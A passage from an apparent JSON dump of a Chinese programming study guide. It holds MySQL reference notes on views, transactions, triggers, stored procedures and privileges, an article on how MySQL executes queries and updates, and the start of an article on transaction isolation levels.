[(column_list)] AS select_statement\n    - 视图名必须唯一，同时不能与表重名。\n    - 视图可以使用select语句查询到的列名，也可以自己指定相应的列名。\n    - 可以指定视图执行的算法，通过ALGORITHM指定。\n    - column_list如果存在，则数目必须等于SELECT语句检索的列数\n-- 查看结构\n    SHOW CREATE VIEW view_name\n-- 删除视图\n    - 删除视图后，数据依然存在。\n    - 可同时删除多个视图。\n    DROP VIEW [IF EXISTS] view_name ...\n-- 修改视图结构\n    - 一般不修改视图，因为不是所有的更新视图都会映射到表上。\n    ALTER VIEW view_name [(column_list)] AS select_statement\n-- 视图作用\n    1. 简化业务逻辑\n    2. 对客户端隐藏真实的表结构\n-- 视图算法(ALGORITHM)\n    MERGE       合并\n        将视图的查询语句，与外部查询需要先合并再执行！\n    TEMPTABLE   临时表\n        将视图执行完毕后，形成临时表，再做外层查询！\n    UNDEFINED   未定义(默认)，指的是MySQL自主去选择相应的算法。\n```\n\n### 事务(transaction) \n\n```mysql\n事务是指逻辑上的一组操作，组成这组操作的各个单元，要不全成功要不全失败。\n    - 支持连续SQL的集体成功或集体撤销。\n    - 事务是数据库在数据晚自习方面的一个功能。\n    - 需要利用 InnoDB 或 BDB 存储引擎，对自动提交的特性支持完成。\n    - InnoDB被称为事务安全型引擎。\n-- 事务开启\n    START TRANSACTION; 或者 BEGIN;\n    开启事务后，所有被执行的SQL语句均被认作当前事务内的SQL语句。\n-- 事务提交\n    COMMIT;\n-- 事务回滚\n    ROLLBACK;\n    如果部分操作发生问题，映射到事务开启前。\n-- 事务的特性\n    1. 原子性（Atomicity）\n        事务是一个不可分割的工作单位，事务中的操作要么都发生，要么都不发生。\n    2. 一致性（Consistency）\n        事务前后数据的完整性必须保持一致。\n        - 事务开始和结束时，外部数据一致\n        - 在整个事务过程中，操作是连续的\n    3. 隔离性（Isolation）\n        多个用户并发访问数据库时，一个用户的事务不能被其它用户的事物所干扰，多个并发事务之间的数据要相互隔离。\n    4. 持久性（Durability）\n        一个事务一旦被提交，它对数据库中的数据改变就是永久性的。\n-- 事务的实现\n    1. 要求是事务支持的表类型\n    2. 执行一组相关的操作前开启事务\n    3. 整组操作完成后，都成功，则提交；如果存在失败，选择回滚，则会回到事务开始的备份点。\n-- 事务的原理\n    利用InnoDB的自动提交(autocommit)特性完成。\n    普通的MySQL执行语句后，当前的数据提交操作均可被其他客户端可见。\n    而事务是暂时关闭“自动提交”机制，需要commit提交持久化数据操作。\n-- 注意\n    1. 数据定义语言（DDL）语句不能被回滚，比如创建或取消数据库的语句，和创建、取消或更改表或存储的子程序的语句。\n    2. 事务不能被嵌套\n-- 保存点\n    SAVEPOINT 保存点名称 -- 设置一个事务保存点\n    ROLLBACK TO SAVEPOINT 保存点名称 -- 回滚到保存点\n    RELEASE SAVEPOINT 保存点名称 -- 删除保存点\n-- InnoDB自动提交特性设置\n    SET autocommit = 0|1;   0表示关闭自动提交，1表示开启自动提交。\n    - 如果关闭了，那普通操作的结果对其他客户端也不可见，需要commit提交后才能持久化数据操作。\n    - 也可以关闭自动提交来开启事务。但与START TRANSACTION不同的是，\n        SET autocommit是永久改变服务器的设置，直到下次再次修改该设置。(针对当前连接)\n        而START TRANSACTION记录开启前的状态，而一旦事务提交或回滚后就需要再次开启事务。(针对当前事务)\n\n```\n\n### 锁表\n\n```mysql\n/* 锁表 */\n表锁定只用于防止其它客户端进行不正当地读取和写入\nMyISAM 支持表锁，InnoDB 支持行锁\n-- 锁定\n    LOCK TABLES tbl_name [AS alias]\n-- 解锁\n    UNLOCK TABLES\n```\n\n### 触发器\n\n```mysql\n/* 触发器 */ ------------------\n    触发程序是与表有关的命名数据库对象，当该表出现特定事件时，将激活该对象\n    监听：记录的增加、修改、删除。\n-- 创建触发器\nCREATE TRIGGER trigger_name trigger_time trigger_event ON tbl_name FOR EACH ROW trigger_stmt\n    参数：\n    trigger_time是触发程序的动作时间。它可以是 before 或 after，以指明触发程序是在激活它的语句之前或之后触发。\n    trigger_event指明了激活触发程序的语句的类型\n        INSERT：将新行插入表时激活触发程序\n        UPDATE：更改某一行时激活触发程序\n        DELETE：从表中删除某一行时激活触发程序\n    tbl_name：监听的表，必须是永久性的表，不能将触发程序与TEMPORARY表或视图关联起来。\n    trigger_stmt：当触发程序激活时执行的语句。执行多个语句，可使用BEGIN...END复合语句结构\n-- 删除\nDROP TRIGGER [schema_name.]trigger_name\n可以使用old和new代替旧的和新的数据\n    更新操作，更新前是old，更新后是new.\n    删除操作，只有old.\n    增加操作，只有new.\n-- 注意\n    1. 对于具有相同触发程序动作时间和事件的给定表，不能有两个触发程序。\n-- 字符连接函数\nconcat(str1,str2,...])\nconcat_ws(separator,str1,str2,...)\n-- 分支语句\nif 条件 then\n    执行语句\nelseif 条件 then\n    执行语句\nelse\n    执行语句\nend if;\n-- 修改最外层语句结束符\ndelimiter 自定义结束符号\n    SQL语句\n自定义结束符号\ndelimiter ;     -- 修改回原来的分号\n-- 语句块包裹\nbegin\n    语句块\nend\n-- 特殊的执行\n1. 只要添加记录，就会触发程序。\n2. Insert into on duplicate key update 语法会触发：\n    如果没有重复记录，会触发 before insert, after insert;\n    如果有重复记录并更新，会触发 before insert, before update, after update;\n    如果有重复记录但是没有发生更新，则触发 before insert, before update\n3. Replace 语法 如果有记录，则执行 before insert, before delete, after delete, after insert\n```\n\n### SQL编程\n\n```mysql\n/* SQL编程 */ ------------------\n--// 局部变量 ----------\n-- 变量声明\n    declare var_name[,...] type [default value]\n    这个语句被用来声明局部变量。要给变量提供一个默认值，请包含一个default子句。值可以被指定为一个表达式，不需要为一个常数。如果没有default子句，初始值为null。\n-- 赋值\n    使用 set 和 select into 语句为变量赋值。\n    - 注意：在函数内是可以使用全局变量（用户自定义的变量）\n--// 全局变量 ----------\n-- 定义、赋值\nset 语句可以定义并为变量赋值。\nset @var = value;\n也可以使用select into语句为变量初始化并赋值。这样要求select语句只能返回一行，但是可以是多个字段，就意味着同时为多个变量进行赋值，变量的数量需要与查询的列数一致。\n还可以把赋值语句看作一个表达式，通过select执行完成。此时为了避免=被当作关系运算符看待，使用:=代替。（set语句可以使用= 和 :=）。\nselect @var:=20;\nselect @v1:=id, @v2=name from t1 limit 1;\nselect * from tbl_name where @var:=30;\nselect into 可以将表中查询获得的数据赋给变量。\n    -| select max(height) into @max_height from tb;\n-- 自定义变量名\n为了避免select语句中，用户自定义的变量与系统标识符（通常是字段名）冲突，用户自定义变量在变量名前使用@作为开始符号。\n@var=10;\n    - 变量被定义后，在整个会话周期都有效（登录到退出）\n--// 控制结构 ----------\n-- if语句\nif search_condition then\n    statement_list   \n[elseif search_condition then\n    statement_list]\n...\n[else\n    statement_list]\nend if;\n-- case语句\nCASE value WHEN [compare-value] THEN result\n[WHEN [compare-value] THEN result ...]\n[ELSE result]\nEND\n-- while循环\n[begin_label:] while search_condition do\n    statement_list\nend while [end_label];\n- 如果需要在循环内提前终止 while循环，则需要使用标签；标签需要成对出现。\n    -- 退出循环\n        退出整个循环 leave\n        退出当前循环 iterate\n        通过退出的标签决定退出哪个循环\n--// 内置函数 ----------\n-- 数值函数\nabs(x)          -- 绝对值 abs(-10.9) = 10\nformat(x, d)    -- 格式化千分位数值 format(1234567.456, 2) = 1,234,567.46\nceil(x)         -- 向上取整 ceil(10.1) = 11\nfloor(x)        -- 向下取整 floor (10.1) = 10\nround(x)        -- 四舍五入去整\nmod(m, n)       -- m%n m mod n 求余 10%3=1\npi()            -- 获得圆周率\npow(m, n)       -- m^n\nsqrt(x)         -- 算术平方根\nrand()          -- 随机数\ntruncate(x, d)  -- 截取d位小数\n-- 时间日期函数\nnow(), current_timestamp();     -- 当前日期时间\ncurrent_date();                 -- 当前日期\ncurrent_time();                 -- 当前时间\ndate('yyyy-mm-dd hh:ii:ss');    -- 获取日期部分\ntime('yyyy-mm-dd hh:ii:ss');    -- 获取时间部分\ndate_format('yyyy-mm-dd hh:ii:ss', '%d %y %a %d %m %b %j'); -- 格式化时间\nunix_timestamp();               -- 获得unix时间戳\nfrom_unixtime();                -- 从时间戳获得时间\n-- 字符串函数\nlength(string)          -- string长度，字节\nchar_length(string)     -- string的字符个数\nsubstring(str, position [,length])      -- 从str的position开始,取length个字符\nreplace(str ,search_str ,replace_str)   -- 在str中用replace_str替换search_str\ninstr(string ,substring)    -- 返回substring首次在string中出现的位置\nconcat(string [,...])   -- 连接字串\ncharset(str)            -- 返回字串字符集\nlcase(string)           -- 转换成小写\nleft(string, length)    -- 从string2中的左边起取length个字符\nload_file(file_name)    -- 从文件读取内容\nlocate(substring, string [,start_position]) -- 同instr,但可指定开始位置\nlpad(string, length, pad)   -- 重复用pad加在string开头,直到字串长度为length\nltrim(string)           -- 去除前端空格\nrepeat(string, count)   -- 重复count次\nrpad(string, length, pad)   --在str后用pad补充,直到长度为length\nrtrim(string)           -- 去除后端空格\nstrcmp(string1 ,string2)    -- 逐字符比较两字串大小\n-- 流程函数\ncase when [condition] then result [when [condition] then result ...] [else result] end   多分支\nif(expr1,expr2,expr3)  双分支。\n-- 聚合函数\ncount()\nsum();\nmax();\nmin();\navg();\ngroup_concat()\n-- 其他常用函数\nmd5();\ndefault();\n--// 存储函数，自定义函数 ----------\n-- 新建\n    CREATE FUNCTION function_name (参数列表) RETURNS 返回值类型\n        函数体\n    - 函数名，应该合法的标识符，并且不应该与已有的关键字冲突。\n    - 一个函数应该属于某个数据库，可以使用db_name.funciton_name的形式执行当前函数所属数据库，否则为当前数据库。\n    - 参数部分，由\"参数名\"和\"参数类型\"组成。多个参数用逗号隔开。\n    - 函数体由多条可用的mysql语句，流程控制，变量声明等语句构成。\n    - 多条语句应该使用 begin...end 语句块包含。\n    - 一定要有 return 返回值语句。\n-- 删除\n    DROP FUNCTION [IF EXISTS] function_name;\n-- 查看\n    SHOW FUNCTION STATUS LIKE 'partten'\n    SHOW CREATE FUNCTION function_name;\n-- 修改\n    ALTER FUNCTION function_name 函数选项\n--// 存储过程，自定义功能 ----------\n-- 定义\n存储存储过程 是一段代码（过程），存储在数据库中的sql组成。\n一个存储过程通常用于完成一段业务逻辑，例如报名，交班费，订单入库等。\n而一个函数通常专注与某个功能，视为其他程序服务的，需要在其他语句中调用函数才可以，而存储过程不能被其他调用，是自己执行 通过call执行。\n-- 创建\nCREATE PROCEDURE sp_name (参数列表)\n    过程体\n参数列表：不同于函数的参数列表，需要指明参数类型\nIN，表示输入型\nOUT，表示输出型\nINOUT，表示混合型\n注意，没有返回值。\n```\n\n### 存储过程\n\n```mysql\n/* 存储过程 */ ------------------\n存储过程是一段可执行性代码的集合。相比函数，更偏向于业务逻辑。\n调用：CALL 过程名\n-- 注意\n- 没有返回值。\n- 只能单独调用，不可夹杂在其他语句中\n-- 参数\nIN|OUT|INOUT 参数名 数据类型\nIN      输入：在调用过程中，将数据输入到过程体内部的参数\nOUT     输出：在调用过程中，将过程体处理完的结果返回到客户端\nINOUT   输入输出：既可输入，也可输出\n-- 语法\nCREATE PROCEDURE 过程名 (参数列表)\nBEGIN\n    过程体\nEND\n```\n\n### 用户和权限管理\n\n```mysql\n/* 用户和权限管理 */ ------------------\n-- root密码重置\n1. 停止MySQL服务\n2.  [Linux] /usr/local/mysql/bin/safe_mysqld --skip-grant-tables &\n    [Windows] mysqld --skip-grant-tables\n3. use mysql;\n4. UPDATE `user` SET PASSWORD=PASSWORD(\"密码\") WHERE `user` = \"root\";\n5. FLUSH PRIVILEGES;\n用户信息表：mysql.user\n-- 刷新权限\nFLUSH PRIVILEGES;\n-- 增加用户\nCREATE USER 用户名 IDENTIFIED BY [PASSWORD] 密码(字符串)\n    - 必须拥有mysql数据库的全局CREATE USER权限，或拥有INSERT权限。\n    - 只能创建用户，不能赋予权限。\n    - 用户名，注意引号：如 'user_name'@'192.168.1.1'\n    - 密码也需引号，纯数字密码也要加引号\n    - 要在纯文本中指定密码，需忽略PASSWORD关键词。要把密码指定为由PASSWORD()函数返回的混编值，需包含关键字PASSWORD\n-- 重命名用户\nRENAME USER old_user TO new_user\n-- 设置密码\nSET PASSWORD = PASSWORD('密码')  -- 为当前用户设置密码\nSET PASSWORD FOR 用户名 = PASSWORD('密码') -- 为指定用户设置密码\n-- 删除用户\nDROP USER 用户名\n-- 分配权限/添加用户\nGRANT 权限列表 ON 表名 TO 用户名 [IDENTIFIED BY [PASSWORD] 'password']\n    - all privileges 表示所有权限\n    - *.* 表示所有库的所有表\n    - 库名.表名 表示某库下面的某表\n    GRANT ALL PRIVILEGES ON `pms`.* TO 'pms'@'%' IDENTIFIED BY 'pms0817';\n-- 查看权限\nSHOW GRANTS FOR 用户名\n    -- 查看当前用户权限\n    SHOW GRANTS; 或 SHOW GRANTS FOR CURRENT_USER; 或 SHOW GRANTS FOR CURRENT_USER();\n-- 撤消权限\nREVOKE 权限列表 ON 表名 FROM 用户名\nREVOKE ALL PRIVILEGES, GRANT OPTION FROM 用户名   -- 撤销所有权限\n-- 权限层级\n-- 要使用GRANT或REVOKE，您必须拥有GRANT OPTION权限，并且您必须用于您正在授予或撤销的权限。\n全局层级：全局权限适用于一个给定服务器中的所有数据库，mysql.user\n    GRANT ALL ON *.*和 REVOKE ALL ON *.*只授予和撤销全局权限。\n数据库层级：数据库权限适用于一个给定数据库中的所有目标，mysql.db, mysql.host\n    GRANT ALL ON db_name.*和REVOKE ALL ON db_name.*只授予和撤销数据库权限。\n表层级：表权限适用于一个给定表中的所有列，mysql.talbes_priv\n    GRANT ALL ON db_name.tbl_name和REVOKE ALL ON db_name.tbl_name只授予和撤销表权限。\n列层级：列权限适用于一个给定表中的单一列，mysql.columns_priv\n    当使用REVOKE时，您必须指定与被授权列相同的列。\n-- 权限列表\nALL [PRIVILEGES]    -- 设置除GRANT OPTION之外的所有简单权限\nALTER   -- 允许使用ALTER TABLE\nALTER ROUTINE   -- 更改或取消已存储的子程序\nCREATE  -- 允许使用CREATE TABLE\nCREATE ROUTINE  -- 创建已存储的子程序\nCREATE TEMPORARY TABLES     -- 允许使用CREATE TEMPORARY TABLE\nCREATE USER     -- 允许使用CREATE USER, DROP USER, RENAME USER和REVOKE ALL PRIVILEGES。\nCREATE VIEW     -- 允许使用CREATE VIEW\nDELETE  -- 允许使用DELETE\nDROP    -- 允许使用DROP TABLE\nEXECUTE     -- 允许用户运行已存储的子程序\nFILE    -- 允许使用SELECT...INTO OUTFILE和LOAD DATA INFILE\nINDEX   -- 允许使用CREATE INDEX和DROP INDEX\nINSERT  -- 允许使用INSERT\nLOCK TABLES     -- 允许对您拥有SELECT权限的表使用LOCK TABLES\nPROCESS     -- 允许使用SHOW FULL PROCESSLIST\nREFERENCES  -- 未被实施\nRELOAD  -- 允许使用FLUSH\nREPLICATION CLIENT  -- 允许用户询问从属服务器或主服务器的地址\nREPLICATION SLAVE   -- 用于复制型从属服务器（从主服务器中读取二进制日志事件）\nSELECT  -- 允许使用SELECT\nSHOW DATABASES  -- 显示所有数据库\nSHOW VIEW   -- 允许使用SHOW CREATE VIEW\nSHUTDOWN    -- 允许使用mysqladmin shutdown\nSUPER   -- 允许使用CHANGE MASTER, KILL, PURGE MASTER LOGS和SET GLOBAL语句，mysqladmin debug命令；允许您连接（一次），即使已达到max_connections。\nUPDATE  -- 允许使用UPDATE\nUSAGE   -- “无权限”的同义词\nGRANT OPTION    -- 允许授予权限\n```\n\n### 表维护\n\n```mysql\n/* 表维护 */\n-- 分析和存储表的关键字分布\nANALYZE [LOCAL | NO_WRITE_TO_BINLOG] TABLE 表名 ...\n-- 检查一个或多个表是否有错误\nCHECK TABLE tbl_name [, tbl_name] ... [option] ...\noption = {QUICK | FAST | MEDIUM | EXTENDED | CHANGED}\n-- 整理数据文件的碎片\nOPTIMIZE [LOCAL | NO_WRITE_TO_BINLOG] TABLE tbl_name [, tbl_name] ...\n```\n\n### 杂项\n\n```mysql\n/* 杂项 */ ------------------\n1. 可用反引号（`）为标识符（库名、表名、字段名、索引、别名）包裹，以避免与关键字重名！中文也可以作为标识符！\n2. 每个库目录存在一个保存当前数据库的选项文件db.opt。\n3. 注释：\n    单行注释 # 注释内容\n    多行注释 /* 注释内容 */\n    单行注释 -- 注释内容     (标准SQL注释风格，要求双破折号后加一空格符（空格、TAB、换行等）)\n4. 模式通配符：\n    _   任意单个字符\n    %   任意多个字符，甚至包括零字符\n    单引号需要进行转义 \\'\n5. CMD命令行内的语句结束符可以为 \";\", \"\\G\", \"\\g\"，仅影响显示结果。其他地方还是用分号结束。delimiter 可修改当前对话的语句结束符。\n6. SQL对大小写不敏感\n7. 清除已有语句：\\c\n```\n\n"
  },
  {
    "path": "docs/database/一条sql语句在mysql中如何执行的.md",
    "content": "本文来自[木木匠](https://github.com/kinglaw1204)投稿。\n\n<!-- TOC -->\n\n- [一 MySQL 基础架构分析](#一-mysql-基础架构分析)\n    - [1.1 MySQL 基本架构概览](#11-mysql-基本架构概览)\n    - [1.2 Server 层基本组件介绍](#12-server-层基本组件介绍)\n        - [1) 连接器](#1-连接器)\n        - [2) 查询缓存(MySQL 8.0 版本后移除)](#2-查询缓存mysql-80-版本后移除)\n        - [3) 分析器](#3-分析器)\n        - [4) 优化器](#4-优化器)\n        - [5) 执行器](#5-执行器)\n- [二 语句分析](#二-语句分析)\n    - [2.1 查询语句](#21-查询语句)\n    - [2.2 更新语句](#22-更新语句)\n- [三 总结](#三-总结)\n- [四 参考](#四-参考)\n\n<!-- /TOC -->\n\n本篇文章会分析下一个 sql 语句在 MySQL 中的执行流程，包括 sql 的查询在 MySQL 内部会怎么流转，sql 语句的更新是怎么完成的。\n\n在分析之前我会先带着你看看 MySQL 的基础架构，知道了 MySQL 由那些组件组成已经这些组件的作用是什么，可以帮助我们理解和解决这些问题。\n\n## 一 MySQL 基础架构分析\n\n### 1.1 MySQL 基本架构概览\n\n下图是 MySQL  的一个简要架构图，从下图你可以很清晰的看到用户的 SQL 语句在 MySQL 内部是如何执行的。\n\n先简单介绍一下下图涉及的一些组件的基本作用帮助大家理解这幅图，在 1.2 节中会详细介绍到这些组件的作用。\n\n- **连接器：** 身份认证和权限相关(登录 MySQL 的时候)。\n- **查询缓存:**  执行查询语句的时候，会先查询缓存（MySQL 8.0 版本后移除，因为这个功能不太实用）。\n- **分析器:**  没有命中缓存的话，SQL 语句就会经过分析器，分析器说白了就是要先看你的 SQL 语句要干嘛，再检查你的 SQL 语句语法是否正确。\n- **优化器：**  按照 MySQL 认为最优的方案去执行。\n- **执行器:** 执行语句，然后从存储引擎返回数据。\n\n![](https://user-gold-cdn.xitu.io/2019/3/23/169a8bc60a083849?w=950&h=1062&f=jpeg&s=38189)\n\n简单来说 MySQL  主要分为 Server 层和存储引擎层：\n\n- **Server 层**：主要包括连接器、查询缓存、分析器、优化器、执行器等，所有跨存储引擎的功能都在这一层实现，比如存储过程、触发器、视图，函数等，还有一个通用的日志模块 binglog 日志模块。\n- **存储引擎**： 主要负责数据的存储和读取，采用可以替换的插件式架构，支持 InnoDB、MyISAM、Memory 等多个存储引擎，其中 InnoDB 引擎有自有的日志模块 redolog 模块。**现在最常用的存储引擎是 InnoDB，它从 MySQL 5.5.5 版本开始就被当做默认存储引擎了。**\n\n### 1.2 Server 层基本组件介绍\n\n#### 1) 连接器\n\n连接器主要和身份认证和权限相关的功能相关，就好比一个级别很高的门卫一样。\n\n主要负责用户登录数据库，进行用户的身份认证，包括校验账户密码，权限等操作，如果用户账户密码已通过，连接器会到权限表中查询该用户的所有权限，之后在这个连接里的权限逻辑判断都是会依赖此时读取到的权限数据，也就是说，后续只要这个连接不断开，即时管理员修改了该用户的权限，该用户也是不受影响的。\n\n#### 2) 查询缓存(MySQL 8.0 版本后移除)\n\n查询缓存主要用来缓存我们所执行的 SELECT 语句以及该语句的结果集。\n\n连接建立后，执行查询语句的时候，会先查询缓存，MySQL 会先校验这个 sql 是否执行过，以 Key-Value 的形式缓存在内存中，Key 是查询预计，Value 是结果集。如果缓存 key 被命中，就会直接返回给客户端，如果没有命中，就会执行后续的操作，完成后也会把结果缓存起来，方便下一次调用。当然在真正执行缓存查询的时候还是会校验用户的权限，是否有该表的查询条件。\n\nMySQL 查询不建议使用缓存，因为查询缓存失效在实际业务场景中可能会非常频繁，假如你对一个表更新的话，这个表上的所有的查询缓存都会被清空。对于不经常更新的数据来说，使用缓存还是可以的。\n\n所以，一般在大多数情况下我们都是不推荐去使用查询缓存的。\n\nMySQL 8.0 版本后删除了缓存的功能，官方也是认为该功能在实际的应用场景比较少，所以干脆直接删掉了。\n\n#### 3) 分析器\n\nMySQL 没有命中缓存，那么就会进入分析器，分析器主要是用来分析 SQL 语句是来干嘛的，分析器也会分为几步：\n\n**第一步，词法分析**，一条 SQL 语句有多个字符串组成，首先要提取关键字，比如 select，提出查询的表，提出字段名，提出查询条件等等。做完这些操作后，就会进入第二步。\n\n**第二步，语法分析**，主要就是判断你输入的 sql 是否正确，是否符合 MySQL 的语法。\n\n完成这 2 步之后，MySQL 就准备开始执行了，但是如何执行，怎么执行是最好的结果呢？这个时候就需要优化器上场了。\n\n#### 4) 优化器 \n\n优化器的作用就是它认为的最优的执行方案去执行（有时候可能也不是最优，这篇文章涉及对这部分知识的深入讲解），比如多个索引的时候该如何选择索引，多表查询的时候如何选择关联顺序等。\n\n可以说，经过了优化器之后可以说这个语句具体该如何执行就已经定下来。\n\n#### 5) 执行器\n\n当选择了执行方案后，MySQL 就准备开始执行了，首先执行前会校验该用户有没有权限，如果没有权限，就会返回错误信息，如果有权限，就会去调用引擎的接口，返回接口执行的结果。\n\n## 二 语句分析 \n\n### 2.1 查询语句\n\n说了以上这么多，那么究竟一条 sql 语句是如何执行的呢？其实我们的 sql 可以分为两种，一种是查询，一种是更新（增加，更新，删除）。我们先分析下查询语句，语句如下：\n\n```sql\nselect * from tb_student  A where A.age='18' and A.name=' 张三 ';\n```\n\n结合上面的说明，我们分析下这个语句的执行流程：\n\n* 先检查该语句是否有权限，如果没有权限，直接返回错误信息，如果有权限，在 MySQL8.0 版本以前，会先查询缓存，以这条 sql 语句为 key 在内存中查询是否有结果，如果有直接缓存，如果没有，执行下一步。\n* 通过分析器进行词法分析，提取 sql 语句的关键元素，比如提取上面这个语句是查询 select，提取需要查询的表名为 tb_student,需要查询所有的列，查询条件是这个表的 id='1'。然后判断这个 sql 语句是否有语法错误，比如关键词是否正确等等，如果检查没问题就执行下一步。\n* 接下来就是优化器进行确定执行方案，上面的 sql 语句，可以有两种执行方案：\n  \n        a.先查询学生表中姓名为“张三”的学生，然后判断是否年龄是 18。\n        b.先找出学生中年龄 18 岁的学生，然后再查询姓名为“张三”的学生。\n    那么优化器根据自己的优化算法进行选择执行效率最好的一个方案（优化器认为，有时候不一定最好）。那么确认了执行计划后就准备开始执行了。\n\n* 进行权限校验，如果没有权限就会返回错误信息，如果有权限就会调用数据库引擎接口，返回引擎的执行结果。\n\n### 2.2 更新语句\n\n以上就是一条查询 sql 的执行流程，那么接下来我们看看一条更新语句如何执行的呢？sql 语句如下：\n\n```\nupdate tb_student A set A.age='19' where A.name=' 张三 ';\n```\n我们来给张三修改下年龄，在实际数据库肯定不会设置年龄这个字段的，不然要被技术负责人打的。其实条语句也基本上会沿着上一个查询的流程走，只不过执行更新的时候肯定要记录日志啦，这就会引入日志模块了，MySQL 自带的日志模块式 **binlog（归档日志）** ，所有的存储引擎都可以使用，我们常用的 InnoDB 引擎还自带了一个日志模块 **redo log（重做日志）**，我们就以 InnoDB 模式下来探讨这个语句的执行流程。流程如下：\n\n* 先查询到张三这一条数据，如果有缓存，也是会用到缓存。\n* 然后拿到查询的语句，把 age 改为 19，然后调用引擎 API 接口，写入这一行数据，InnoDB 引擎把数据保存在内存中，同时记录 redo log，此时 redo log 进入 prepare 状态，然后告诉执行器，执行完成了，随时可以提交。\n* 执行器收到通知后记录 binlog，然后调用引擎接口，提交 redo log 为提交状态。\n* 更新完成。\n\n**这里肯定有同学会问，为什么要用两个日志模块，用一个日志模块不行吗?**\n\n这是因为最开始 MySQL 并没与 InnoDB 引擎( InnoDB 引擎是其他公司以插件形式插入 MySQL 的) ，MySQL 自带的引擎是 MyISAM，但是我们知道 redo log 是 InnoDB 引擎特有的，其他存储引擎都没有，这就导致会没有 crash-safe 的能力(crash-safe 的能力即使数据库发生异常重启，之前提交的记录都不会丢失)，binlog 日志只能用来归档。\n\n并不是说只用一个日志模块不可以，只是 InnoDB 引擎就是通过 redo log 来支持事务的。那么，又会有同学问，我用两个日志模块，但是不要这么复杂行不行，为什么 redo log 要引入 prepare 预提交状态？这里我们用反证法来说明下为什么要这么做？\n\n* **先写 redo log 直接提交，然后写 binlog**，假设写完 redo log 后，机器挂了，binlog 日志没有被写入，那么机器重启后，这台机器会通过 redo log 恢复数据，但是这个时候 bingog 并没有记录该数据，后续进行机器备份的时候，就会丢失这一条数据，同时主从同步也会丢失这一条数据。\n* **先写 binlog，然后写 redo log**，假设写完了 binlog，机器异常重启了，由于没有 redo log，本机是无法恢复这一条记录的，但是 binlog 又有记录，那么和上面同样的道理，就会产生数据不一致的情况。\n\n如果采用 redo log 两阶段提交的方式就不一样了，写完 binglog 后，然后再提交 redo log 就会防止出现上述的问题，从而保证了数据的一致性。那么问题来了，有没有一个极端的情况呢？假设 redo log 处于预提交状态，binglog 也已经写完了，这个时候发生了异常重启会怎么样呢？\n这个就要依赖于 MySQL 的处理机制了，MySQL 的处理过程如下：\n\n* 判断 redo log 是否完整，如果判断是完整的，就立即提交。\n* 如果 redo log 只是预提交但不是 commit 状态，这个时候就会去判断 binlog 是否完整，如果完整就提交 redo log, 不完整就回滚事务。\n\n这样就解决了数据一致性的问题。\n\n## 三 总结\n\n* MySQL 主要分为 Server 曾和引擎层，Server 层主要包括连接器、查询缓存、分析器、优化器、执行器，同时还有一个日志模块（binlog），这个日志模块所有执行引擎都可以共用,redolog 只有 InnoDB 有。\n* 引擎层是插件式的，目前主要包括，MyISAM,InnoDB,Memory 等。\n* 查询语句的执行流程如下：权限校验（如果命中缓存）---》查询缓存---》分析器---》优化器---》权限校验---》执行器---》引擎\n* 更新语句执行流程如下：分析器----》权限校验----》执行器---》引擎---redo log(prepare 状态---》binlog---》redo log(commit状态)\n\n## 四 参考\n\n* 《MySQL 实战45讲》\n* MySQL 5.6参考手册:<https://dev.MySQL.com/doc/refman/5.6/en/>\n"
  },
  {
    "path": "docs/database/事务隔离级别(图文详解).md",
    "content": "> 本文由 [SnailClimb](https://github.com/Snailclimb) 和 [BugSpeak](https://github.com/BugSpeak) 共同完成。\n<!-- TOC -->\n\n- [事务隔离级别(图文详解)](#事务隔离级别图文详解)\n    - [什么是事务?](#什么是事务)\n    - [事物的特性(ACID)](#事物的特性acid)\n    - [并发事务带来的问题](#并发事务带来的问题)\n    - [事务隔离级别](#事务隔离级别)\n    - [实际情况演示](#实际情况演示)\n        - [脏读(读未提交)](#脏读读未提交)\n        - [避免脏读(读已提交)](#避免脏读读已提交)\n        - [不可重复读](#不可重复读)\n        - [可重复读](#可重复读)\n        - [防止幻读(可重复读)](#防止幻读可重复读)\n    - [参考](#参考)\n\n<!-- /TOC -->\n\n## 事务隔离级别(图文详解)\n\n### 什么是事务?\n\n事务是逻辑上的一组操作，要么都执行，要么都不执行。\n\n事务最经典也经常被拿出来说例子就是转账了。假如小明要给小红转账1000元，这个转账会涉及到两个关键操作就是：将小明的余额减少1000元，将小红的余额增加1000元。万一在这两个操作之间突然出现错误比如银行系统崩溃，导致小明余额减少而小红的余额没有增加，这样就不对了。事务就是保证这两个关键操作要么都成功，要么都要失败。\n\n### 事物的特性(ACID)\n\n<div align=\"center\">  \n<img src=\"https://user-gold-cdn.xitu.io/2018/5/20/1637b08b98619455?w=312&h=305&f=png&s=22430\" width=\"200px\"/>\n</div>\n\n1.  **原子性：** 事务是最小的执行单位，不允许分割。事务的原子性确保动作要么全部完成，要么完全不起作用；\n2.  **一致性：** 执行事务前后，数据保持一致；\n3.  **隔离性：** 并发访问数据库时，一个用户的事物不被其他事物所干扰，各并发事务之间数据库是独立的；\n4.  **持久性:**  一个事务被提交之后。它对数据库中数据的改变是持久的，即使数据库发生故障也不应该对其有任何影响。\n\n### 并发事务带来的问题\n\n在典型的应用程序中，多个事务并发运行，经常会操作相同的数据来完成各自的任务（多个用户对统一数据进行操作）。并发虽然是必须的，但可能会导致一下的问题。\n\n- **脏读（Dirty read）:** 当一个事务正在访问数据并且对数据进行了修改，而这种修改还没有提交到数据库中，这时另外一个事务也访问了这个数据，然后使用了这个数据。因为这个数据是还没有提交的数据，那么另外一个事务读到的这个数据是“脏数据”，依据“脏数据”所做的操作可能是不正确的。\n- **丢失修改（Lost to modify）:** 指在一个事务读取一个数据时，另外一个事务也访问了该数据，那么在第一个事务中修改了这个数据后，第二个事务也修改了这个数据。这样第一个事务内的修改结果就被丢失，因此称为丢失修改。\t例如：事务1读取某表中的数据A=20，事务2也读取A=20，事务1修改A=A-1，事务2也修改A=A-1，最终结果A=19，事务1的修改被丢失。\n- **不可重复读（Unrepeatableread）:** 指在一个事务内多次读同一数据。在这个事务还没有结束时，另一个事务也访问该数据。那么，在第一个事务中的两次读数据之间，由于第二个事务的修改导致第一个事务两次读取的数据可能不太一样。这就发生了在一个事务内两次读到的数据是不一样的情况，因此称为不可重复读。\n- **幻读（Phantom read）:** 幻读与不可重复读类似。它发生在一个事务（T1）读取了几行数据，接着另一个并发事务（T2）插入了一些数据时。在随后的查询中，第一个事务（T1）就会发现多了一些原本不存在的记录，就好像发生了幻觉一样，所以称为幻读。\n\n**不可重复度和幻读区别：**\n\n不可重复读的重点是修改，幻读的重点在于新增或者删除。\n\n例1（同样的条件, 你读取过的数据, 再次读取出来发现值不一样了 ）：事务1中的A先生读取自己的工资为     1000的操作还没完成，事务2中的B先生就修改了A的工资为2000，导        